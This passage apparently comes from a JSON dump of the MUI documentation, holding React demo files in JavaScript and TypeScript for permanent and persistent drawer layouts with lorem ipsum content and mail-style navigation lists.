odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PermanentDrawerRight.js",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function PermanentDrawerRight() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{ width: `calc(100% - ${drawerWidth}px)`, mr: `${drawerWidth}px` }}\n      >\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Permanent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, bgcolor: 'background.default', p: 3 }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"permanent\"\n        anchor=\"right\"\n      >\n        <Toolbar />\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PermanentDrawerRight.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nexport default function PermanentDrawerRight() {\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar\n        position=\"fixed\"\n        sx={{ width: `calc(100% - ${drawerWidth}px)`, mr: `${drawerWidth}px` }}\n      >\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Permanent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Box\n        component=\"main\"\n        sx={{ flexGrow: 1, bgcolor: 'background.default', p: 3 }}\n      >\n        <Toolbar />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Box>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"permanent\"\n        anchor=\"right\"\n      >\n        <Toolbar />\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PersistentDrawerLeft.js",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport MuiAppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst Main = styled('main', { shouldForwardProp: (prop) => prop !== 'open' })(\n  ({ theme }) => ({\n    flexGrow: 1,\n    padding: theme.spacing(3),\n    transition: theme.transitions.create('margin', {\n      easing: theme.transitions.easing.sharp,\n      duration: theme.transitions.duration.leavingScreen,\n    }),\n    marginLeft: `-${drawerWidth}px`,\n    variants: [\n      {\n        props: ({ open }) => open,\n        style: {\n          transition: theme.transitions.create('margin', {\n            easing: theme.transitions.easing.easeOut,\n            duration: theme.transitions.duration.enteringScreen,\n          }),\n          marginLeft: 0,\n        },\n      },\n    ],\n  }),\n);\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})(({ theme }) => ({\n  transition: theme.transitions.create(['margin', 'width'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        width: `calc(100% - ${drawerWidth}px)`,\n        marginLeft: `${drawerWidth}px`,\n        transition: theme.transitions.create(['margin', 'width'], {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n      },\n    },\n  ],\n}));\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n  justifyContent: 'flex-end',\n}));\n\nexport default function PersistentDrawerLeft() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            onClick={handleDrawerOpen}\n            edge=\"start\"\n            sx={[\n              {\n                mr: 2,\n              },\n              open && { display: 'none' },\n            ]}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Persistent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"persistent\"\n        anchor=\"left\"\n        open={open}\n      >\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'ltr' ? <ChevronLeftIcon /> : <ChevronRightIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Main open={open}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Main>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PersistentDrawerLeft.tsx",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport MuiAppBar, { AppBarProps as MuiAppBarProps } from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst Main = styled('main', { shouldForwardProp: (prop) => prop !== 'open' })<{\n  open?: boolean;\n}>(({ theme }) => ({\n  flexGrow: 1,\n  padding: theme.spacing(3),\n  transition: theme.transitions.create('margin', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  marginLeft: `-${drawerWidth}px`,\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        transition: theme.transitions.create('margin', {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n        marginLeft: 0,\n      },\n    },\n  ],\n}));\n\ninterface AppBarProps extends MuiAppBarProps {\n  open?: boolean;\n}\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})<AppBarProps>(({ theme }) => ({\n  transition: theme.transitions.create(['margin', 'width'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        width: `calc(100% - ${drawerWidth}px)`,\n        marginLeft: `${drawerWidth}px`,\n        transition: theme.transitions.create(['margin', 'width'], {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n      },\n    },\n  ],\n}));\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n  justifyContent: 'flex-end',\n}));\n\nexport default function PersistentDrawerLeft() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            onClick={handleDrawerOpen}\n            edge=\"start\"\n            sx={[\n              {\n                mr: 2,\n              },\n              open && { display: 'none' },\n            ]}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" noWrap component=\"div\">\n            Persistent drawer\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n            boxSizing: 'border-box',\n          },\n        }}\n        variant=\"persistent\"\n        anchor=\"left\"\n        open={open}\n      >\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'ltr' ? <ChevronLeftIcon /> : <ChevronRightIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n      <Main open={open}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Main>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PersistentDrawerRight.js",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport MuiAppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst Main = styled('main', { shouldForwardProp: (prop) => prop !== 'open' })(\n  ({ theme }) => ({\n    flexGrow: 1,\n    padding: theme.spacing(3),\n    transition: theme.transitions.create('margin', {\n      easing: theme.transitions.easing.sharp,\n      duration: theme.transitions.duration.leavingScreen,\n    }),\n    marginRight: -drawerWidth,\n    /**\n     * This is necessary to enable the selection of content. In the DOM, the stacking order is determined\n     * by the order of appearance. Following this rule, elements appearing later in the markup will overlay\n     * those that appear earlier. Since the Drawer comes after the Main content, this adjustment ensures\n     * proper interaction with the underlying content.\n     */\n    position: 'relative',\n    variants: [\n      {\n        props: ({ open }) => open,\n        style: {\n          transition: theme.transitions.create('margin', {\n            easing: theme.transitions.easing.easeOut,\n            duration: theme.transitions.duration.enteringScreen,\n          }),\n          marginRight: 0,\n        },\n      },\n    ],\n  }),\n);\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})(({ theme }) => ({\n  transition: theme.transitions.create(['margin', 'width'], {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        width: `calc(100% - ${drawerWidth}px)`,\n        transition: theme.transitions.create(['margin', 'width'], {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n        marginRight: drawerWidth,\n      },\n    },\n  ],\n}));\n\nconst DrawerHeader = styled('div')(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  padding: theme.spacing(0, 1),\n  // necessary for content to be below app bar\n  ...theme.mixins.toolbar,\n  justifyContent: 'flex-start',\n}));\n\nexport default function PersistentDrawerRight() {\n  const theme = useTheme();\n  const [open, setOpen] = React.useState(false);\n\n  const handleDrawerOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDrawerClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar position=\"fixed\" open={open}>\n        <Toolbar>\n          <Typography variant=\"h6\" noWrap sx={{ flexGrow: 1 }} component=\"div\">\n            Persistent drawer\n          </Typography>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"end\"\n            onClick={handleDrawerOpen}\n            sx={[open && { display: 'none' }]}\n          >\n            <MenuIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n      <Main open={open}>\n        <DrawerHeader />\n        <Typography sx={{ marginBottom: 2 }}>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod\n          tempor incididunt ut labore et dolore magna aliqua. Rhoncus dolor purus non\n          enim praesent elementum facilisis leo vel. Risus at ultrices mi tempus\n          imperdiet. Semper risus in hendrerit gravida rutrum quisque non tellus.\n          Convallis convallis tellus id interdum velit laoreet id donec ultrices.\n          Odio morbi quis commodo odio aenean sed adipiscing. Amet nisl suscipit\n          adipiscing bibendum est ultricies integer quis. Cursus euismod quis viverra\n          nibh cras. Metus vulputate eu scelerisque felis imperdiet proin fermentum\n          leo. Mauris commodo quis imperdiet massa tincidunt. Cras tincidunt lobortis\n          feugiat vivamus at augue. At augue eget arcu dictum varius duis at\n          consectetur lorem. Velit sed ullamcorper morbi tincidunt. Lorem donec massa\n          sapien faucibus et molestie ac.\n        </Typography>\n        <Typography sx={{ marginBottom: 2 }}>\n          Consequat mauris nunc congue nisi vitae suscipit. Fringilla est ullamcorper\n          eget nulla facilisi etiam dignissim diam. Pulvinar elementum integer enim\n          neque volutpat ac tincidunt. Ornare suspendisse sed nisi lacus sed viverra\n          tellus. Purus sit amet volutpat consequat mauris. Elementum eu facilisis\n          sed odio morbi. Euismod lacinia at quis risus sed vulputate odio. Morbi\n          tincidunt ornare massa eget egestas purus viverra accumsan in. In hendrerit\n          gravida rutrum quisque non tellus orci ac. Pellentesque nec nam aliquam sem\n          et tortor. Habitant morbi tristique senectus et. Adipiscing elit duis\n          tristique sollicitudin nibh sit. Ornare aenean euismod elementum nisi quis\n          eleifend. Commodo viverra maecenas accumsan lacus vel facilisis. Nulla\n          posuere sollicitudin aliquam ultrices sagittis orci a.\n        </Typography>\n      </Main>\n      <Drawer\n        sx={{\n          width: drawerWidth,\n          flexShrink: 0,\n          '& .MuiDrawer-paper': {\n            width: drawerWidth,\n          },\n        }}\n        variant=\"persistent\"\n        anchor=\"right\"\n        open={open}\n      >\n        <DrawerHeader>\n          <IconButton onClick={handleDrawerClose}>\n            {theme.direction === 'rtl' ? <ChevronLeftIcon /> : <ChevronRightIcon />}\n          </IconButton>\n        </DrawerHeader>\n        <Divider />\n        <List>\n          {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n        <Divider />\n        <List>\n          {['All mail', 'Trash', 'Spam'].map((text, index) => (\n            <ListItem key={text} disablePadding>\n              <ListItemButton>\n                <ListItemIcon>\n                  {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n                </ListItemIcon>\n                <ListItemText primary={text} />\n              </ListItemButton>\n            </ListItem>\n          ))}\n        </List>\n      </Drawer>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/PersistentDrawerRight.tsx",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport MuiAppBar, { AppBarProps as MuiAppBarProps } from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport List from '@mui/material/List';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nconst drawerWidth = 240;\n\nconst Main = styled('main', { shouldForwardProp: (prop) => prop !== 'open' })<{\n  open?: boolean;\n}>(({ theme }) => ({\n  flexGrow: 1,\n  padding: theme.spacing(3),\n  transition: theme.transitions.create('margin', {\n    easing: theme.transitions.easing.sharp,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  marginRight: -drawerWidth,\n  /**\n   * This is necessary to enable the selection of content. In the DOM, the stacking order is determined\n   * by the order of appearance. Following this rule, elements appearing later in the markup will overlay\n   * those that appear earlier. Since the Drawer comes after the Main content, this adjustment ensures\n   * proper interaction with the underlying content.\n   */\n  position: 'relative',\n  variants: [\n    {\n      props: ({ open }) => open,\n      style: {\n        transition: theme.transitions.create('margin', {\n          easing: theme.transitions.easing.easeOut,\n          duration: theme.transitions.duration.enteringScreen,\n        }),\n        marginRight: 0,\n      },\n    },\n  ],\n}));\n\ninterface AppBarProps extends MuiAppBarProps {\n  open?: boolean;\n}\n\nconst AppBar = styled(MuiAppBar, {\n  shouldForwardProp: (prop) => prop !== 'open',\n})<AppBarProps>(({ theme }) => ({\n  transition: theme.transitions.create(['margin', 